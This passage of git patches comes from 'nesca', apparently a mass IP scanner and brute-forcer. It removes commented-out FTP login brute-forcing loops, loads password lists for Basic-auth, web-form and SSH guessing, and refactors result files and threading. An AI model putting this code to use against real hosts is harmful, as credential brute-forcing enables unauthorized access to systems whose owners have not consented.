sz = ptr2 - ptr1 - 1; -// strncpy(pasvData, ptr1 + 1, sz); -// char *ptr3 = strstr(pasvData, ","); -// ptr3 = strstr(ptr3 + 1, ","); -// ptr3 = strstr(ptr3 + 1, ","); -// ptr3 = strstr(ptr3 + 1, ","); - -// if(ptr3 != NULL) -// { -// char *ptrP2 = strstr(ptr3 + 1, ","); -// char p1c[8] = {0}; -// sz = ptrP2 - ptr3 - 1; -// strncpy(p1c, ptr3 + 1, sz); -// int p1 = atoi(p1c); -// int p2 = atoi(ptrP2 + 1); -// port = p1 * 256 + p2; - -// sockAddr.sin_port = htons(port); -// SOCKET newSockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); -// connectionResult = connect(newSockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - -// send(sockFTP, "LIST\r\n", 6, 0); -// ZeroMemory(recvBuff, sizeof(recvBuff)); -// int x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); -// if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) -// { -// send(sockFTP, "MLSD\r\n", 6, 0); -// ZeroMemory(recvBuff, sizeof(recvBuff)); -// x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); -// if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) -// { -// stt->doEmition_BAGreenData("[?] " + QString(pass) + " [MLSD&LIST failed or server closed connection.]"); - -// CSSOCKET(sockFTP); -// CSSOCKET(newSockFTP); -// closedSocket = 1; -// strcpy(lps.login, "UNKNOWN"); -// return lps; -// } -// else { -// stt->doEmition_BAGreenData("[+] " + QString(pass) + " [MLSD succeeded]"); -// ps->directoryCount = _countFTPDirectories(recvBuff); -// }; -// } -// else -// { -// stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]"); -// ps->directoryCount = _countFTPDirectories(recvBuff); -// }; - -// CSSOCKET(newSockFTP); -// } -// else -// { -// stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV failed]"); -// }; -// } -// else -// { -// stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); -// }; -// } -// else -// { -// stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); -// }; - - -// if(xx > 1) -// { -// strcpy(ps->headr, "</a><pre><font color=\"goldenrod\"> ("); -// strncat(ps->headr, recvBuff, 256); -// strcat(ps->headr, ")</font></pre>"); -// }; - -// strcpy(lps.login, loginLst[i]); -// strcpy(lps.pass, passLst[j]); - -// CSSOCKET(sockFTP); -// return lps; -// } -// else -// { -// stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); - -// strcpy(lps.login, loginLst[i]); -// strcpy(lps.pass, passLst[j]); - -// CSSOCKET(sockFTP); -// return lps; -// }; -// }; -// }; - -// CSSOCKET(sockFTP); -// closedSocket = 1; -// ZeroMemory(recvBuff, sizeof(recvBuff)); -// } -// else -// { -// int WSAerr; -// if(connectionResult == -1) WSAerr = WSAGetLastError(); -// else WSAerr = WSAETIMEDOUT; - -// if(gThreads > 1 -// && WSAerr != WSAETIMEDOUT/*Timeout*/ -// && WSAerr != WSAENOBUFS/*POOLOVERFLOW*/ -// && WSAerr != WSAECONNREFUSED/*WSAECONNREFUSED*/ -// && WSAerr != WSAECONNRESET/*WSAECONNRESET*/ -// && WSAerr != 0) -// { -// stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str())); -// }; -// CSSOCKET(sockFTP); -// strcpy(lps.login, "UNKNOWN"); -// return lps; -// }; - -// Sleep(100); - -// if(breakPassLoop) -// { -// breakPassLoop = false; -// break; -// }; -// }; -// }; - -// CSSOCKET(sockFTP); -// strcpy(lps.login, "UNKNOWN"); -// return lps; -//} - -//lopaStr _FTPLobby(char *ip, int port, PathStr *ps) -//{ -// while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - -// lopaStr lps; -// ZeroMemory(lps.login, sizeof(lps.login)); -// ZeroMemory(lps.pass, sizeof(lps.pass)); -// ZeroMemory(lps.other, sizeof(lps.other)); - -// BruteUtils::BConInc(); -// lps = _FTPBrute(ip, port, ps); -// BruteUtils::BConDec(); - -// return lps; -//} - int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector<char*> negVector) { char recvBuff[256] = {0}; @@ -1697,48 +736,3 @@ lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC) return res; } - - - - - - - - -//int Connector::_ConnectToPort(char *ip, int port, char *hl) -//{ -// if(gPingNScan) -// { -// if(_pingMyTarget(ip) == 0) -// { -// return -2; -// }; -// }; - -// std::string buffer; -// int size = 0; - -// if(port == 22) size = _SSHLobby(ip, port, &buffer); -// else size = Connector::nConnect(ip, port, &buffer); - -// if(size > 0) -// { -// ++Alive; -// ++found; -// stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); - -// conSTR CSTR; -// CSTR.lowerBuff = new char[size + 1]; -// CSTR.size = size; -// memcpy(CSTR.lowerBuff, buffer.c_str(), size); -// memset(CSTR.lowerBuff + size, '\0', 1); - -// Lexems lx; -// lx._filler(port, (char *)buffer.c_str(), ip, size, &lx, hl); - -// delete []CSTR.lowerBuff; -// CSTR.lowerBuff = NULL; -// }; - -// return 0; -//} diff --git a/finder.cpp b/finder.cpp index ff86826..b04b21e 100644 --- a/finder.cpp +++ b/finder.cpp @@ -456,15 +456,15 @@ int __checkFileExistence(int flag) { char fileName[64] = {0}; - if(flag == 666 || flag == 350) strcpy(fileName, "./result_files/STRANGE_ERROR.html"); - else if(flag == -22) strcpy(fileName, "./result_files/ssh.html"); - else if(flag == 0 || flag == 15 || flag == -10) strcpy(fileName, "./result_files/strange.html"); - else if(flag == 3) strcpy(fileName, "./result_files/other.html"); - else if(flag == 7) strcpy(fileName, "./result_files/low_loads.html"); - else if(flag == 10) strcpy(fileName, "./result_files/LoginForms.html"); - else if(flag == 16) strcpy(fileName, "./result_files/FTP.html"); + if(flag == 666 || flag == 350) strcpy(fileName, "./"RESULT_DIR_NAME"/STRANGE_ERROR.html"); + else if(flag == -22) strcpy(fileName, "./"RESULT_DIR_NAME"/ssh.html"); + else if(flag == 0 || flag == 15 || flag == -10) strcpy(fileName, "./"RESULT_DIR_NAME"/strange.html"); + else if(flag == 3) strcpy(fileName, "./"RESULT_DIR_NAME"/other.html"); + else if(flag == 7) strcpy(fileName, "./"RESULT_DIR_NAME"/low_loads.html"); + else if(flag == 10) strcpy(fileName, "./"RESULT_DIR_NAME"/LoginForms.html"); + else if(flag == 16) strcpy(fileName, "./"RESULT_DIR_NAME"/FTP.html"); else if(flag >= 17 || flag == 11 || flag == 12 - || flag == 13 || flag == 14 || flag == 1) strcpy(fileName, "./result_files/Basicauth.html"); + || flag == 13 || flag == 14 || flag == 1) strcpy(fileName, "./"RESULT_DIR_NAME"/Basicauth.html"); FILE *f = fopen(fileName, "r"); if(f == NULL) return true; @@ -493,39 +493,39 @@ void fputsf(char *text, int flag, char *msg) if(flag == 0 || flag == 15 || flag == -10) { if(ftsAnom) ftsAnom = __checkFileExistence(flag); - file = fopen("./result_files/strange.html", "a"); + file = fopen("./"RESULT_DIR_NAME"/strange.html", "a"); } else if(flag == 3) { if(ftsOther) ftsOther = __checkFileExistence(flag); - file = fopen("./result_files/other.html", "a"); + file = fopen("./"RESULT_DIR_NAME"/other.html", "a"); } else if(flag == -22) { if(ftsSSH) ftsSSH = __checkFileExistence(flag); - file = fopen("./result_files/SSH.html", "a"); + file = fopen("./"RESULT_DIR_NAME"/SSH.html", "a"); } else if(flag == 7) { if(ftsLL) ftsLL = __checkFileExistence(flag); - file = fopen("./result_files/low_loads.html", "a"); + file = fopen("./"RESULT_DIR_NAME"/low_loads.html", "a"); } else if(flag == 10) { if(ftsLF) ftsLF = __checkFileExistence(flag); - file = fopen("./result_files/LoginForms.html", "a"); + file = fopen("./"RESULT_DIR_NAME"/LoginForms.html", "a"); } else if(flag == 16) { if(ftsFTP) ftsFTP = __checkFileExistence(flag); - file = fopen("./result_files/FTP.html", "a"); + file = fopen("./"RESULT_DIR_NAME"/FTP.html", "a"); } else if(flag >= 17 || flag == 11 || flag == 12 || flag == 13 || flag == 14 || flag == 1 ) { if(ftsBA) ftsBA = __checkFileExistence(flag); - file = fopen("./result_files/Basicauth.html", "a"); + file = fopen("./"RESULT_DIR_NAME"/Basicauth.html", "a"); } else { @@ -1718,7 +1718,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P { tempPort = 443; char *ptr1 = strstri(str, "https://"); - char *ptr2 = _findFirst(str + 8, ":/?"); + char *ptr2 = _findFirst(ptr1 + 8, ":/?"); + if(ptr2 != NULL) { int sz = ptr2 - ptr1 - 8; @@ -1829,7 +1830,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P { tempPort = 80; char *ptr1 = strstri(str, "http://"); - char *ptr2 = _findFirst(str + 7, ":/?"); + char *ptr2 = _findFirst(ptr1 + 7, ":/?"); if(ptr2 != NULL) { @@ -2260,6 +2261,73 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps || strstri(str, "top.htm?") != NULL ) strcat(finalstr, " [?][SecCam detected]"); + if(strstri(str, "http-equiv=\"refresh\"") != NULL + || strstri(str, "http-equiv=refresh") != NULL + || strstri(str, "http-equiv='refresh'") != NULL + ) + { + char *temp = NULL; + char *strTmp = NULL; + + if(strstri(str, "http-equiv=\"refresh\"") != NULL) strTmp = strstri(str, "http-equiv=\"refresh\""); + else if(strstri(str, "http-equiv=refresh") != NULL) strTmp = strstri(str, "http-equiv=refresh"); + else if(strstri(str, "http-equiv='refresh'") != NULL) strTmp = strstri(str, "http-equiv='refresh'"); + + if(strstri(strTmp, "url=") != NULL ) + { + if((int)(strstri(strTmp, "url=") - strTmp) < 100) + { + temp = strstri(strTmp, "url="); + + char *temp2 = NULL, temp3[128] = {0}; + int sz = 0; + + if(temp[4] == '"' || temp[4] == '\'' || temp[4] == ' ' || temp[4] == '\n' || temp[4] == '\r') + { + temp2 = _findFirst(temp + 6, " \n>\"'"); + if(temp2 != NULL) + { + sz = (int)(temp2 - temp) - 5; + strncpy(temp3, (char*)(temp + 5), (sz < 128 ? sz : 127)); + }; + } + else + { + temp2 = _findFirst(temp + 4, " \n>\"'"); + if(temp2 != NULL) + { + sz = (int)(temp2 - temp) - 4; + strncpy(temp3, (char*)(temp + 4), sz < 128 ? sz : 127); + }; + }; + if(strstri(temp3, "http://") == NULL && strstri(temp3, "https://") == NULL) + { + if(temp3[0] != '.') + { + if(temp3[0] != '/') + { + char temp4[128] = {0}; + strcpy(temp4, "/"); + strncat(temp4, temp3, 127); + strncpy(temp3, temp4, 128); + }; + }; + }; + redirectStr = std::string(temp3); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + return redirectReconnect(ps->cookie, ip, port, temp3, l, ps, redirStrLst); + } return -1; + strcat(ps->headr, " "); + return -2; + }; + strcat(ps->headr, finalstr); + strcat(ps->headr, " "); + return 0; + }; + }; + if(strstri(str, "<script") != NULL) { if(strstri(str, "document.cookie") != NULL) diff --git a/mainResources.h b/mainResources.h index 6311ff2..0f7e36c 100644 --- a/mainResources.h +++ b/mainResources.h @@ -86,6 +86,11 @@ typedef int BOOL; #define MAX_ADDR_LEN 128 #define TITLE_MAX_SIZE 512 #define COOKIE_MAX_SIZE 1024 +#define RESULT_DIR_NAME "./result_files-" __DATE__ + +typedef struct { + char argv[MAX_ADDR_LEN]; +} ST; struct PathStr{ char codepage[32]; diff --git a/nesca.pro b/nesca.pro index e9cf8bb..6f76b91 100644 --- a/nesca.pro +++ b/nesca.pro @@ -43,7 +43,8 @@ SOURCES +=\ Utils.cpp \ BruteUtils.cpp \ BasicAuth.cpp \ - FTPAuth.cpp + FTPAuth.cpp \ + Threader.cpp HEADERS += ActivityDrawerTh_HorNet.h \ @@ -73,7 +74,8 @@ HEADERS += ActivityDrawerTh_HorNet.h \ Connector.h \ BasicAuth.h \ BruteUtils.h \ - FTPAuth.h + FTPAuth.h \ + Threader.h FORMS += nesca_3.ui diff --git a/nesca_3.cpp b/nesca_3.cpp index 248b81d..e3f97b8 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -2190,6 +2190,8 @@ void nesca_3::slotShowNicks() QRegExp _rOutProt(" HTTP/1.\\d+"); QRegExp _rOutPath(" /(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|\\(|\\)|=|\\+|<|>|;|:|\"|'|~|\\[|\\])* "); QRegExp _rOutHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n"); +QRegExp qrp("\\n(.+):"); + void nesca_3::slotOutData(QString str) { if(SendData != NULL) @@ -2203,19 +2205,8 @@ void nesca_3::slotOutData(QString str) str.replace("HTTP ", "<font color=\"GoldenRod\">HTTP </font>"); str.replace("GET ", "<font color=\"GoldenRod\">GET </font>"); str.replace("POST ", "<font color=\"GoldenRod\">POST </font>"); - str.replace("Host: ", "<font color=\"GoldenRod\">Host: </font>"); - str.replace("Cookie: ", "<font color=\"GoldenRod\">Cookie: </font>"); - str.replace("Accept-Language:", "<font color=\"GoldenRod\">Accept-Language:</font>"); - str.replace("Accept-Charset:", "<font color=\"GoldenRod\">Accept-Charset:</font>"); - str.replace("Accept-Encoding:", "<font color=\"GoldenRod\">Accept-Encoding:</font>"); - str.replace("Accept:", "<font color=\"GoldenRod\">Accept:</font>"); - str.replace("User-Agent:", "<font color=\"GoldenRod\">User-Agent:</font>"); - str.replace("Proxy-Connection:", "<font color=\"GoldenRod\">Proxy-Connection:</font>"); - str.replace("Connection:", "<font color=\"GoldenRod\">Connection:</font>"); - str.replace("Content-Length:", "<font color=\"GoldenRod\">Content-Length:</font>"); - str.replace("Authorization:", "<font color=\"GoldenRod\">Authorization:</font>"); - str.replace("X-Nescav3:", "<font color=\"GoldenRod\">X-Nescav3:</font>"); - str.replace("Referer:", "<font color=\"GoldenRod\">Referer:</font>"); + str.replace(qrp, "<br><font color=\"GoldenRod\">\\1:</font>"); + str.replace(QRegExp("(ftp:.+@)"), "<font color=\"Crimson\">\\1</font>"); _rOutProt.indexIn(str); prot = _rOutProt.cap(0); @@ -3009,13 +3000,12 @@ void nesca_3::saveOptions() _SaveBackupToFile(); } -QString loadNescaSetup(char *resStr, char *option) { +QString loadNescaSetup(const char *resStr, const char *option) { - char *lex = NULL - ; + char *lex = NULL; if(strstr(resStr, option) != NULL) { - lex = strstr(resStr, option) + strlen(option); + lex = (char*)(strstr(resStr, option) + strlen(option)); if(strlen(lex) > 1) { @@ -3026,6 +3016,12 @@ QString loadNescaSetup(char *resStr, char *option) { return ""; } +void setUIText(char *field, QLineEdit *qle, const char *resStr) { + if (strstr(resStr, field) != NULL) { + QString intermediateString = loadNescaSetup(resStr, field).simplified(); + intermediateString.length() > 0 ? qle->setText(intermediateString) : (void)NULL; + } +} void RestoreSession() { FILE *resFile = fopen("restore", "r"); @@ -3039,8 +3035,7 @@ void RestoreSession() while(fgets(resStr, 128, resFile) != NULL) { if(strstr(resStr, "[SESSION]:") != NULL) - { - + { lex = strtok(strstr(resStr, "[SESSION]:") + strlen("[SESSION]:"), " "); gMode = atoi(lex); lex = strtok(NULL, " "); @@ -3140,38 +3135,39 @@ void RestoreSession() }; }; - if (strstr(resStr, "[NDBSERVER]:") != NULL) ui->lineTrackerSrv->setText(loadNescaSetup(resStr, "[NDBSERVER]:").simplified()); - else if (strstr(resStr, "[NDBSCRIPT]:") != NULL) ui->lineTrackerScr->setText(loadNescaSetup(resStr, "[NDBSCRIPT]:").simplified()); - else if (strstr(resStr, "[NDBPORT]:") != NULL) ui->trcSrvPortLine->setText(loadNescaSetup(resStr, "[NDBPORT]:").simplified()); - else if (strstr(resStr, "[PING]:") != NULL) { - lex = strstr(resStr, "[PING]:") + strlen("[PING]:"); + setUIText("[NDBSERVER]:", ui->lineTrackerSrv, resStr); + setUIText("[NDBSCRIPT]:", ui->lineTrackerScr, resStr); + setUIText("[NDBPORT]:", ui->trcSrvPortLine, resStr); + if (strstr(resStr, "[PING]:") != NULL) { + lex = strstr(resStr, "[PING]:") + strlen("[PING]:"); - if (strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->pingingOnOff->setChecked(strcmp(lex, "true") == 0 ? true : false); - }; - } - else if (strstr(resStr, "[PING_TO]:") != NULL) ui->PingTO->setText(loadNescaSetup(resStr, "[PING_TO]:").simplified()); - else if (strstr(resStr, "[THREAD_DELAY]:") != NULL) ui->threadDelayBox->setText(loadNescaSetup(resStr, "[THREAD_DELAY]:").simplified()); - else if (strstr(resStr, "[TIMEOUT]:") != NULL) { - const QString &tempLex = loadNescaSetup(resStr, "[TIMEOUT]:"); + if (strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->pingingOnOff->setChecked(strcmp(lex, "true") == 0 ? true : false); + }; + } + setUIText("[PING_TO]:", ui->PingTO, resStr); + setUIText("[THREAD_DELAY]:", ui->threadDelayBox, resStr); + if (strstr(resStr, "[TIMEOUT]:") != NULL) { + const QString &tempLex = loadNescaSetup(resStr, "[TIMEOUT]:"); if(tempLex.toInt() > 0) { ui->iptoLine_value->setText(tempLex); ui->iptoLine_value_2->setText(tempLex); ui->iptoLine_value_3->setText(tempLex); } - } - else if (strstr(resStr, "[MAXBTHR]:") != NULL) ui->maxBrutingThrBox->setText(loadNescaSetup(resStr, "[MAXBTHR]:").simplified()); - else if (strstr(resStr, "[PERSKEY]:") != NULL) ui->linePersKey->setText(loadNescaSetup(resStr, "[PERSKEY]:").simplified()); - else if (strstr(resStr, "[IRCSERVER]:") != NULL) ui->ircServerBox->setText(loadNescaSetup(resStr, "[IRCSERVER]:").simplified()); - else if (strstr(resStr, "[IRCPORT]:") != NULL) ui->serverPortBox->setText(loadNescaSetup(resStr, "[IRCPORT]:").simplified()); - else if (strstr(resStr, "[IRCPROXY]:") != NULL) ui->ircProxy->setText(loadNescaSetup(resStr, "[IRCPROXY]:").simplified()); - else if (strstr(resStr, "[IRCPROXYPORT]:") != NULL) ui->ircProxyPort->setText(loadNescaSetup(resStr, "[IRCPROXYPORT]:").simplified()); - else if (strstr(resStr, "[SYSTEMPROXYIP]:") != NULL) ui->systemProxyIP->setText(loadNescaSetup(resStr, "[SYSTEMPROXYIP]:").simplified()); - else if (strstr(resStr, "[SYSTEMPROXYPORT]:") != NULL) ui->systemProxyPort->setText(loadNescaSetup(resStr, "[SYSTEMPROXYPORT]:").simplified()); - else if (strstr(resStr, "[IRCNICK]:") != NULL) ui->ircNickBox->setText(loadNescaSetup(resStr, "[IRCNICK]:").simplified()); - ZeroMemory(resStr, sizeof(resStr)); + } + setUIText("[MAXBTHR]:", ui->maxBrutingThrBox, resStr); + setUIText("[PERSKEY]:", ui->linePersKey, resStr); + setUIText("[IRCSERVER]:", ui->ircServerBox, resStr); + setUIText("[IRCPORT]:", ui->serverPortBox, resStr); + setUIText("[IRCPROXY]:", ui->ircProxy, resStr); + setUIText("[IRCPROXYPORT]:", ui->ircProxyPort, resStr); + setUIText("[SYSTEMPROXYIP]:", ui->systemProxyIP, resStr); + setUIText("[SYSTEMPROXYPORT]:", ui->systemProxyPort, resStr); + setUIText("[IRCNICK]:", ui->ircNickBox, resStr); + + ZeroMemory(resStr, sizeof(resStr)); }; fclose(resFile); @@ -3203,11 +3199,11 @@ const char *GetVer() if(__DATE__[0] == 'J' && __DATE__[1] == 'a') dver += 1; else if(__DATE__[0] == 'F') dver += 2; - else if(__DATE__[0] == 'M' && __DATE__[1] == 'a' && __DATE__[2] == 'r') dver += 3; + else if(__DATE__[0] == 'M' && __DATE__[2] == 'r') dver += 3; else if(__DATE__[0] == 'A' && __DATE__[1] == 'p') dver += 4; - else if(__DATE__[0] == 'M' && __DATE__[1] == 'a' && __DATE__[2] == 'y') dver += 5; - else if(__DATE__[0] == 'J' && __DATE__[1] == 'u' && __DATE__[2] == 'n') dver += 6; - else if(__DATE__[0] == 'J' && __DATE__[1] == 'u' && __DATE__[2] == 'l') dver += 7; + else if(__DATE__[0] == 'M' && __DATE__[2] == 'y') dver += 5; + else if(__DATE__[0] == 'J' && __DATE__[2] == 'n') dver += 6; + else if(__DATE__[0] == 'J' && __DATE__[2] == 'l') dver += 7; else if(__DATE__[0] == 'A' && __DATE__[1] == 'u') dver += 8; else if(__DATE__[0] == 'S') dver += 9; else if(__DATE__[0] == 'O') dver += 10; @@ -3300,16 +3296,15 @@ void _startMsgCheck() #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) WSADATA wsda; if (WSAStartup(0x0101, &wsda)) - { - + { stt->doEmitionRedFoundData("WSAStartup failed."); - stt->doEmitionKillSttThread(); - + stt->doEmitionKillSttThread(); }; #endif _startVerCheck(); - _startMsgCheck(); + _startMsgCheck(); + qrp.setMinimal(true); } void nesca_3::playFcknSound() diff --git a/nesca_3.ui b/nesca_3.ui index 4765a44..7ad3c2d 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -1764,9 +1764,15 @@ border-radius: 3px;</string> <property name="frameShadow"> <enum>QFrame::Plain</enum> </property> + <property name="sizeAdjustPolicy"> + <enum>QAbstractScrollArea::AdjustIgnored</enum> + </property> <property name="undoRedoEnabled"> <bool>false</bool> </property> + <property name="lineWrapMode"> + <enum>QTextEdit::NoWrap</enum> + </property> <property name="readOnly"> <bool>true</bool> </property> diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index cecd075..7cbac1f 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -4,10 +4,6 @@ #include "externFunctions.h" #include "Connector.h" -typedef struct { - char argv[MAX_ADDR_LEN]; -} ST; - ST *st = NULL; QJsonArray *jsonArr = new QJsonArray(); @@ -910,29 +906,21 @@ void *_connect(void* ss) void targetAndIPWriter(long long unsigned int target, char *buff) { - char curIPBuff[256] = {0}, targetNPers[32] = {0}, dbuffer[32] = {0}; - strcpy(metaIPDNS, buff); - char b[32] = {0}; - sprintf(b, "%Lu", target); - strcpy(targetNPers, b); - strcpy(metaTargets, targetNPers); - if(gTargetsOverall != 0) sprintf(dbuffer, "%.1f", (100 - target/(double)gTargetsOverall * 100)); - else strcpy(dbuffer, "0"); - strcat(targetNPers, " ("); - strcat(targetNPers, dbuffer); - strcat(targetNPers, "%)"); - strcpy(metaPercent, dbuffer); + char curIPBuff[256] = {0}, targetNPers[32] = {0}; - strcpy(curIPBuff, "--->"); - strcat(curIPBuff, buff); - - - stt->doEmitionIPRANGE(QString(curIPBuff)); - stt->doEmitionTargetsLeft(QString(targetNPers)); - + strcpy(metaIPDNS, buff); + sprintf(targetNPers, "%Lu (%.1f%%)", + target, (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0)); + sprintf(metaTargets, "%Lu", target); + sprintf(metaPercent, "%.1f", + (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0)); + sprintf(curIPBuff, "--->%s", buff); + + stt->doEmitionIPRANGE(QString(curIPBuff)); + stt->doEmitionTargetsLeft(QString(targetNPers)); } -void _passLoginFapper() +void _passLoginLoader() { MaxLogin = 0; MaxPass = 0; @@ -985,10 +973,8 @@ void _passLoginFapper() ZeroMemory(buffFG, sizeof(buffFG)); }; + stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)"); - stt->doEmitionGreenFoundData("Password list loaded (" + QString(std::to_string(MaxPass).c_str()) + " entries)"); - - i = 0; while(fgets(buffFG, 32, loginList) != NULL) @@ -999,20 +985,16 @@ void _passLoginFapper() else strncat(loginLst[i++], buffFG, strlen(buffFG)); ZeroMemory(buffFG, sizeof(buffFG)); }; - - stt->doEmitionGreenFoundData("Login list loaded (" + QString(std::to_string(MaxLogin).c_str()) + " entries)"); + stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)"); - fclose(loginList); fclose(passList); } else - { - + { stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - + stt->doEmitionKillSttThread(); }; MaxWFLogin = 0; @@ -1066,8 +1048,7 @@ void _passLoginFapper() ZeroMemory(buffFG, sizeof(buffFG)); }; - - stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString(std::to_string(MaxWFPass).c_str()) + " entries)"); + stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)"); i = 0; @@ -1080,7 +1061,7 @@ void _passLoginFapper() ZeroMemory(buffFG, sizeof(buffFG)); }; - stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString(std::to_string(MaxWFLogin).c_str()) + " entries)"); + stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)"); fclose(wfPassList); fclose(wfLoginList); } @@ -1123,7 +1104,7 @@ void _passLoginFapper() ZeroMemory(buffFG, sizeof(buffFG)); }; - stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString(std::to_string(MaxSSHPass).c_str()) + " entries)"); + stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)"); fclose(sshlpList); } @@ -1133,9 +1114,9 @@ void _passLoginFapper() stt->doEmitionKillSttThread(); }; - stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) - + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) - + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str())); + stt->doEmitionYellowFoundData("BA: ~" + QString::number(MaxLogin * MaxPass/gTimeOut/60) + + "; WF: ~" + QString::number(MaxWFLogin * MaxWFPass/gTimeOut/60) + + "; SSH: ~" + QString::number(MaxSSHPass/gTimeOut/60)); } void ReadUTF8(FILE* nFile, char *cp) @@ -1292,7 +1273,7 @@ std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) #endif return res; } -void _NegativeFapper() +void _NegativeLoader() { FILE *nFile = fopen("negatives.txt", "rb"); @@ -1369,10 +1350,8 @@ void CheckMaskBits(char *res, int index) } else { - - stt->doEmitionRedFoundData("[CheckMaskBits] Cannot parse IP list"); - stt->doEmitionKillSttThread(); - + stt->doEmitionRedFoundData("[CheckMaskBits] Cannot parse IP list"); + stt->doEmitionKillSttThread(); }; } @@ -2275,7 +2254,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) if(globalScanFlag) { pthread_t thrc; - pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st ); + pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st ); }; #endif Sleep(gThreadDelay); @@ -2307,11 +2286,11 @@ int startScan(char* args) ZeroMemory(ipsend, sizeof(ipsend)); #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - CreateDirectory(L"./result_files", NULL); + CreateDirectory(L(RESULT_DIR_NAME), NULL); #else struct stat str = {0}; - if (stat("./result_files", &str) == -1) { - mkdir("./result_files", 0700); + if (stat(RESULT_DIR_NAME, &str) == -1) { + mkdir(RESULT_DIR_NAME, 0700); } #endif @@ -2329,8 +2308,7 @@ int startScan(char* args) mode = gMode; int resInit = fInit(gMode, gRange); if(resInit == -1 ) - { - + { stt->doEmitionRedFoundData("[Error] fInit failure"); stt->doEmitionKillSttThread(); @@ -2340,8 +2318,8 @@ int startScan(char* args) stt->doEmitionIPRANGE(QString(saveEndIP)); stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); - _passLoginFapper(); - _NegativeFapper(); + _passLoginLoader(); + _NegativeLoader(); char res[256] = {0}; if (gMode == 0) @@ -2446,7 +2424,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); _beginthread((void(*)(void*))_connect, 0, st); #else pthread_t thrc; - pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); + pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); #endif Sleep(gThreadDelay); } @@ -2467,10 +2445,10 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); if(trackerOK) { #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(trackerOK) _beginthread( (void(*)(void*))_tracker, 0, NULL ); + _beginthread( (void(*)(void*))_tracker, 0, NULL ); #else pthread_t thrt; - if(trackerOK) pthread_create(&thrt, NULL, (void *(*)(void*))&_tracker, NULL); + pthread_create(&thrt, NULL, (void *(*)(void*))&_tracker, NULL); #endif }; @@ -2482,11 +2460,10 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); pthread_create(&thrtt, NULL, (void *(*)(void*))&_timer, NULL); #endif - char dataEntry[1024] = {0}; - int innerCounter = 0; int sz = strlen(saveEndIP); + for(int i = 0; i < sz; ++i) { if(saveEndIP[i] == '\\') From 9b920a6e39a26c54bfcab6f24dee4350eda56c2c Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Wed, 18 Mar 2015 17:28:39 +0300 Subject: [PATCH 35/66] Thread pooling refac --- Threader.cpp | 64 ++++++++-- Threader.h | 28 +++-- mainResources.h | 4 - nesca_3.cpp | 2 + nesca_startModule.cpp | 280 ++++++++++++++++++++++++++---------------- 5 files changed, 248 insertions(+), 130 deletions(-) diff --git a/Threader.cpp b/Threader.cpp index 995e338..f222d12 100644 --- a/Threader.cpp +++ b/Threader.cpp @@ -1,21 +1,59 @@ #include <Threader.h> -std::vector<ThreadStruct> Threader::threadPool; 